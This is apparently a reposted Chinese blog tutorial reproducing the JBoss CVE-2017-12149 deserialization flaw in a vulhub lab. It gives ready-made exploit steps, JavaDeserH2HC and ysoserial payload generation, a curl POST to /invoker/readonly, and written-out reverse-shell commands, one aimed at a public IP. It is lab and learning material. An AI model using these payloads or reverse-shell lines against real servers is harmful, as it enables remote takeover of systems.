0x00 漏洞介紹
該漏洞為 Java反序列化錯誤型別,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中,該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的資料流進行反序列化,從而導致了漏洞,
該漏洞出現在/invoker/readonly請求中,服務器將用戶提交的POST內容進行了Java反序列化:

0x01 環境搭建
vulhub上一鍵搭建:https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149

0x02漏洞復現
方法一:現成的exp工具
git clone https://github.com/yunxu1/jboss-_CVE-2017-12149

(請忽略虛擬機亂碼問題)
方法二:使用JavaDeserH2HC工具
進入JavaDeserH2HC作業目錄:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反彈shell的IP和埠
此時會在當前目錄生成ReverseShellCommonsCollectionsHashMap.ser二進制檔案
curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
反彈shell:

方法三:常規方法
漏洞是因為介面/invoker/readonly將用戶傳入的post資料進行了反序列化導致的,所以我們先來構造反序列化陳述句,
撰寫反彈shell陳述句
bash -i >& /dev/tcp/49.233.44.168/12345 0>&
程式是java的,Runtime.getRuntime().exec()陳述句中不能包含管道符等,所以需要將反彈shell陳述句編碼
編碼網站:http://www.jackson-t.ca/runtime-exec-payloads.html

利用ysoserial 生成反序列化陳述句
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
通過POST包發送poc,右鍵paste from file將生成的poc.ser檔案匯入post包:

反彈shell

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/33724.html
標籤:其他
上一篇:ATT&CK如何落地到安全產品
